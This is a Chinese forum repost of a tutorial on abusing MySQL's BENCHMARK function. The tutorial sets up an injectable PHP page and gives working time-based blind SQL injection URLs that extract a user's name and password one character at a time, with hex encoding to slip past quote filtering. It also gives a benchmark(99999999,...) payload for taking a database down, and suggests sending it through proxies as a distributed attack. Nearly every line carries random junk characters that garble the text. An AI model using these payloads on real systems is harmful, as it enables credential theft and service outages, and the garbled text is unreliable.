找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2190|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
( d$ S- x; V' p* [. c本文作者:SuperHei
& x, d9 O' e$ j7 A文章性质:原创
$ G& Q" s+ c+ Z% z+ y; {  r发布日期:2005-01-02
/ L0 G; V& Y  ]5 f( Q完成日期:2004-07-09 ) N  m+ ]/ V1 Y! [6 f
第一部" b4 s' Q  p# d9 ]

3 T/ e" y% A5 P$ ~' b利用时间推延进行注射---BENCHMARK函数在注射中的利用 - V9 ^# C+ {+ S- V* Z2 J

6 p% ~6 u$ p5 `! T; E一.前言/思路; E& _9 p( Z3 g
/ J5 n9 ^9 \* C- _- Q7 |  d
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
6 S% c. N$ V) h0 y
$ L8 a7 w& E0 _% t+ x  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。, c4 P# ^* S4 A9 F# z% C$ `& b

2 ~7 I$ @. T' k& S4 _. o8 x' i二.关于BENCHMARK函数
" H4 }* t- H7 j7 L4 `- Y
1 [) q5 H" M# @; b4 B1 c; Y1 p  在MySQL参考手册里可以看到如下描叙:
* V" r, }/ z0 G5 ]7 c8 R8 @
$ U6 B. o' O  H3 D( ?
4 p+ ~# q9 h0 s8 a6 K) u& T( P/ _7 t--------------------------------------------------------------------------------' c: E5 @7 e) E& E# \

, L3 K$ l* c  L2 ?- b4 ]) r$ XBENCHMARK(count,expr)
; e2 b* [. y6 c6 ?; \$ a  UBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 # a% ~- s: S- b3 |4 u  O- n
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
) t0 Z% K7 S9 ?! {6 K- G5 Z$ E: w" u$ V+----------------------------------------------+   [/ l% s% N$ i# o8 }( N
| BENCHMARK(1000000,encode("hello","goodbye")) |
: f/ F# I2 T; Y0 v5 l- r" S+----------------------------------------------+ 3 M" K' ?7 l- X& J
| 0 |
4 B, b. Q, W. _5 o8 K+----------------------------------------------+
$ E- J4 n2 ?7 l& F1 c1 row in set (4.74 sec)
8 V2 Y$ D" P  ]0 _1 V8 R' \
0 v$ s4 E! N4 A  @0 L- N报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。# [% _5 M9 z0 T

( d0 Z3 @9 a5 m" a7 f. {0 v
$ R! E! i9 P4 t/ K--------------------------------------------------------------------------------6 F2 q: v. ~9 X. m4 T3 Q- B. [8 }# d

! x" \# R' V# j" C& Z  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 8 L0 H$ f! L! Q  ]" S) p& |. H
  T; i3 {- q7 Y
mysql> select md5( 'test' );
& \- S" d; W+ d* \; }: `+----------------------------------+
+ p7 ^# S8 S) K  ?# w| md5( 'test' ) | & T: E+ Z, M. T6 F; c2 p* E
+----------------------------------+
0 b$ S$ P; F$ y: [, D4 R# O7 k) r| 098f6bcd4621d373cade4e832627b4f6 | / ~* T7 T! l$ t/ P7 b
+----------------------------------+
0 w7 g0 Q1 Z5 i6 D- B& t4 j1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
/ h3 I; V+ y* @% v; a3 ~4 w, X% T( U* M- T( Y# @
mysql> select benchmark( 500000, md5( 'test' ) );
" J3 e7 E, m# t& X+------------------------------------+
- a$ B7 q8 J2 L& I/ h| benchmark( 500000, md5( 'test' ) ) | 2 I) K$ L+ i! L, l7 {
+------------------------------------+
5 H/ o- n: E+ d8 f1 O| 0 | : W; z4 O5 Z" q
+------------------------------------+
+ C8 h7 F8 `& k5 F4 Q6 R1 row in set (6.55 sec) 〈------------执行时间为6.55 sec& `! {5 m7 E' h6 Z! D- I5 n

$ [2 V' S9 X% K# L5 S: K
# e; r* D$ N3 H, m  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ! B, F3 D; e7 n5 Y
5 S0 h& Y/ b1 D' O$ T
三.具体例子
# C* `1 A3 k2 F( Q. M' J& L: h& ?0 F
+ a9 {( q( F4 k7 Y0 A% n& D  首先我们看个简单的php代码:
( b0 z7 g: i  Z& \* L8 P* G
# N1 D7 a3 H# A6 @, S' _( u< ?php # F0 e/ X0 C/ {+ V, r
$servername = "localhost";
+ K% H; J( T% B' {- z$dbusername = "root";
- b* p2 L) w: l" Y# }% H* q0 P& ~2 W: X$dbpassword = ""; ; u1 y5 j6 A& a0 U, h
$dbname = "injection";
* }: _* J/ h- \. N0 U2 T4 H  n$ G/ y' d$ x
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); & |/ g5 s0 r( S# H

, X  T8 A% C* w7 V' ]3 I$sql = "SELECT * FROM article WHERE articleid=$id";
; O' N6 I* a( n3 h) }3 Z$result = mysql_db_query($dbname,$sql); 8 n, k  P% n7 U0 |! O% J
$row = mysql_fetch_array($result);
- G. ~, A( ~: h- ]4 D. |- K/ j# |4 Y# R
if (!$row)
. `0 X8 R; f0 Z% C  |% g0 M{
" g! B/ d! t1 H* a, ]) [exit; 8 @! R$ ?# a# t& b. d8 F
}
8 f" Y6 g, z% h& n?>8 F. g3 d. S! a7 S2 [6 ~( A& S( ]

2 M# d1 t5 |5 I& m6 p! E3 I4 F7 @7 ?1 r7 z/ U
  数据库injection结构和内容如下:
, A1 A" [9 `) W& h1 U0 j: @. ~" ]& W6 t* ?6 C0 J4 w- u& v1 C; c
# 数据库 : `injection`
" \. Q* }6 ~, Y* e$ k4 s# + ]$ x  j/ z2 a; l( g* Y

$ O7 Z; G+ ~6 z; @  H# --------------------------------------------------------
* j/ u2 N  l4 k. b6 v( Z* m/ l* j8 S, h, `( S: V+ K  A% c( F* u
#
+ A& k$ }0 c' O, y: `$ x# 表的结构 `article`
! N5 v, M$ s$ [7 H$ F0 S#
9 P7 T- _1 z/ s& J3 e# C- H/ f) [: A
CREATE TABLE `article` (
' |$ c2 \, |+ `' f. W0 P! J1 K`articleid` int(11) NOT NULL auto_increment, 7 ~+ [1 m- ^. y3 V5 d
`title` varchar(100) NOT NULL default '',
. K) q' y& ]( ]/ g`content` text NOT NULL, . {6 n  S0 b# A. y& }% M
PRIMARY KEY (`articleid`) + K4 d. M1 P" g* ?% F
) TYPE=MyISAM AUTO_INCREMENT=3 ;
, v# H2 }5 ~- t# e3 H' m) a+ k/ ^
: Z3 m) P, J; J: p0 t# ' l' t9 ~: V; B3 e! \! R. M, R: g
# 导出表中的数据 `article`
/ N& `9 r3 W  {! s. L* {# # f  d4 j5 f: ^* g  q
' Y% _6 S3 Y; ~; t0 q3 o
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); , d! b: U8 B  T! H8 u
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); * l0 W! Q: a1 K( v6 c, e! b

6 A. c% {' R3 u" d2 I5 r# --------------------------------------------------------
9 p1 j" e6 E6 d4 H1 e  K( X3 C" ?& f7 ?* n1 f
# / F6 }# I. h! T0 r  m0 z
# 表的结构 `user`
. D# @" ^" r; N3 b) L#
8 A- X; b# T7 S' \/ T5 N1 T! [1 Z; g7 S
CREATE TABLE `user` (
- _# A; h* Y+ e$ S6 `' ]. K0 E`userid` int(11) NOT NULL auto_increment, ; o0 T" B. q" j/ T/ u, W( f; _
`username` varchar(20) NOT NULL default '', ) U( f! j2 y) J0 F' |3 r8 x
`password` varchar(20) NOT NULL default '',
, }( V8 Y7 T7 \0 a# Y9 X" _5 k. aPRIMARY KEY (`userid`)
4 D. P, i; ?. W7 m7 a/ E) TYPE=MyISAM AUTO_INCREMENT=3 ; ! X# e+ q+ O6 C  H# h1 ~) ]

) P+ @- O4 b7 [: D! K# T9 e! w& y# " n: E: u% U9 R# r) v8 _
# 导出表中的数据 `user`
: z/ f+ S) R; T1 W3 |5 s5 `/ d#
2 D: u# G' k& u
! x/ w2 w4 E4 j8 p# cINSERT INTO `user` VALUES (1, 'angel', 'mypass'); 5 j- O, w# R# v3 ^! o
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');6 |- l+ F, J; @" a
0 h0 v! E, Y, [) I' g  O$ A

! G' f7 T! R5 n" E% I3 E0 n/ X$ O  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
% m7 k5 m% E2 _8 i8 R
& L% H, d4 C+ v9 U4 r8 L7 b9 cid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
: _1 N- b% e% U- W 9 F' O* N: z1 \0 t9 i0 L7 J
, Y- o5 ~8 q+ G! p
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
# g5 a8 N2 \7 D/ v& Y6 o4 ^
7 K/ k9 \) o! Z. m, vhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*. J# C7 F7 `# a& W4 Z) n
% }  _' Q8 B8 t% Q) _
( z5 [5 n& T' V1 ~+ i$ R# t$ P
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 7 w! Q+ ?, r+ [2 B& o# C6 o! q8 M

! T2 |  a) d1 n& j  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
3 l! n) t' J% g! l3 |& X! A
& [- I$ T: z+ f& S- e3 ]第二部  C0 f6 U' M3 y

1 `; Y4 Z; Z6 R# `6 W- |利用BENCHMARK函数进行ddos攻击   ?6 {9 o: Q- t! y) T( [# h7 k
$ P7 u% `5 b& Q5 j' y+ ^2 o5 }1 ]
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
! K2 K9 w6 j% s/ G& q0 A7 @. B  n. B" k
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))) B, U" ^/ b! X, q& c

5 [7 |% O$ q8 N- u3 }2 d5 e1 u1 v9 r& `
小结
5 H0 O- o$ H& p
4 x1 F& a9 o) A* ?9 x  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。. H% n) L( s3 ^- V4 M* K

+ Y. H6 L. r- q7 `  3 M: ?; x$ o* _1 |- G6 c3 q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表